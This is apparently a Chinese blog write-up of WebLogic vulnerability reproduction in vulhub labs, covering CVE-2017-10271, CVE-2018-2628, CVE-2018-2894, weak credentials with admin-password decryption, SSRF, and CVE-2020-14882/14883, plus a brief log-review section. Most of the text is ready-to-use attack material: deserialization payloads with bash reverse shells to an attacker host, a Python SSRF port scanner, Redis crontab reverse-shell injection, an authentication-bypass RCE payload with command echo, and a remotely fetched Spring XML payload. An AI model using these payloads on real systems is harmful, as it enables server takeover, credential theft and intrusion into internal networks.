注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。
组件描述
WebLogic是没过Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式的WEB应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和JavaEnterorise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞列表
注:笔者这里漏洞环境全部是vulhub靶场环境
weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
概述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,
触发漏洞url如下: http://xx.xx.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
影响版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
复现过程
访问如下URL:http://192.168.52.134:7001/wls-wsat/CoordinatorPortType11,如果出现如下界面就说明可能存在漏洞

POC测试
使用burp抓包,构造如下数据包:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.52.134:7001 Content-Length: 673 Content-Type: text/xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
注:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/

访问:http://192.168.52.134:7001/wls-wsat/test.txt,上传成功

反弹shell
将上述poc请求包中body部分内容替换如下:
注:其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/攻击IP/端口 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>


Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
概述
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
影响版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
复现过程
直接利用网上的Java反序列化终极测试工具,获取基本信息

因为Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要进行编码
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFxxxxxxNTQuxxxxxxMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}

流量分析
首先建立socket连接,使用T3协议进行握手

握手成功后发送payload

Weblogic 任意文件上传漏洞(CVE-2018-2894)
概述
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
两个页面分别为/ws_utc/begin.do、/ws_utc/config.do
影响版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
复现过程
/ws_utc/config.do上传漏洞
触发条件
- 需要知道部署应用的web目录
- ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证

访问/ws_utc/config.do,修改当前的工作目录为如下目录,因为css目录访问是无需权限的
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击左侧”安全”菜单,添加Keystore,设置默认名字和密码,选中要上传的文件,F12查看网络元素,提交即可

点击提交后,可以使用bp抓u拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳id,F12.

访问http://xx.xx.xx.xx:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
弱口令&任意文件下载
概述
本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
影响版本
weblogic 10.3.6版本
复现过程
弱密码
环境启动后,访问http://192.200.100.159:7001/console,可以跳转到Weblogic后台登录界面:

环境存在弱口令:
用户名:weblogic
密码:Oracle@123
weblogic常用弱口令:
http://cirt.net/passwords?criteria=weblogic
任意文件读取漏洞利用
假设不存在弱口令,如何进行渗透?
本次环境前台模拟了一个任意文件下载漏洞,访问http://192.168.100.159:7001/hello/file.jsp?path=/etc/passwd

读取后台用户密文和密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密
时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,
用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

config.xml是base_domain的全局配置文件,所以内容比较多,找到其中的
<node-manager-password-encrypted>的值,即为加密后的管理员密码

拿到SerializedSystemIni.dat文件后,使用工具weblogic_decrypt.jar进行直接解密。
选择SerializedSystemIni.dat文件,填入密文,即可解密。
工具地址:https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt
更多可参考:https://www.freebuf.com/articles/web/220147.html

SSRF漏洞
概述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
影响范围
weblogic 版本10.0.2
weblogic 版本10.3.6
复现过程
在url处访问ip:7001/uddiexplorer/,可查看uddiexplorer应用

漏洞位置存在于“/uddiexplorer/SearchPublicRegistries.jsp”,在表单中随意输入内容使用burp抓包,发送到重放

上述抓包得到的是个POST包,,利用点为“operator”参数,在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: 192.168.100.159:7001 Content-Length: 139 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.100.159:7001 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.100.159:7001/uddiexplorer/SearchPublicRegistries.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; ADMINCONSOLESESSION=TLt7v2fBt3nHXNxkcrY3cSp5NLPXRyBGKpdkpWTy0hzFdH7wTbdF!-1909665907; JSESSIONID=JXyNv2fWLCxkmVyJNMYyPrJcnhS83Dcz3TNLpwQR28k4NvrGSQzQ!-1909665907 Connection: close operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search

可访问的端口将会得到错误,一般是返回status code(如上图),如果访问的非http协议,则会返回

访问不存在的端口时,将返回could not connect HTTP server

可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),这里使用脚本进行探测
import thread import time import re import requests def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3) def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://192.168.100.159:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass if __name__ == '__main__': ip = "172.21.0" if ip: print ip ite_ip(ip) else: print "no ip"</pre>
通过发送三条redis命令,将反弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"<br>config set dir /etc/<br>config set dbfilename crontab<br>save
将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意:换行符是”\r\n”,也就是”%0D%0A”)
%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61
把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后
利用方式无非就是redis的未授权,这里就不一一展示了。
Weblogic 未授权命令执行(CVE-2020-14882/14883)
概述
Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。
此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
影响版本
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
复现过程
利用脚本:https://github.com/GGyao/CVE-2020-14882_ALL
在正常访问console后台时会提示输入帐号密码
对于其他路径也限制了访问,可以看到返回403

通过未授权访问,“http://your-ip:7001/console/css/%252e%252e%252fconsole.portal”则可以绕过验证直接访问后台(注:‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台)

可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过
利用方式一:
通过
直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
进入容器,可以发现

或者执行带回显的payload:
GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String%5B%5D%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String%5B%5D%7B%22cmd.exe%22,%20%22/c%22,%20cmd%7D%20:%20new%20String%5B%5D%7B%22/bin/sh%22,%20%22-c%22,%20cmd%7D;if(cmd%20!=%20null%20)%7B%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22%5C%5CA%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();%7D%20currentThread.interrupt();') HTTP/1.1
Host: 192.168.100.159:7001
cmd:whoami
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=6dG4rztOCa2Qi2cIxbLFsF47GRbtoGNEnoVTsfMF0XSNtHd_vrIY!-406911739; ADMINCONSOLESESSION=TLt7v2fBt3nHXNxkcrY3cSp5NLPXRyBGKpdkpWTy0hzFdH7wTbdF!-1909665907; JSESSIONID=JXyNv2fWLCxkmVyJNMYyPrJcnhS83Dcz3TNLpwQR28k4NvrGSQzQ!-1909665907
Connection: close

利用方式二:
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml"
应急排查
weblogic的日志配置大致如下,配置日志记录服务可登录后台后在控制台界面操作,在排查过程中我们主要关注“access.log”日志,该日志会记录攻击的IP,请求URL,服务器响应包。

排查的关键字,主要是上述漏洞复现过程中涉及的利用路径。
参考来源
https://www.jianshu.com/p/de09368b9e8d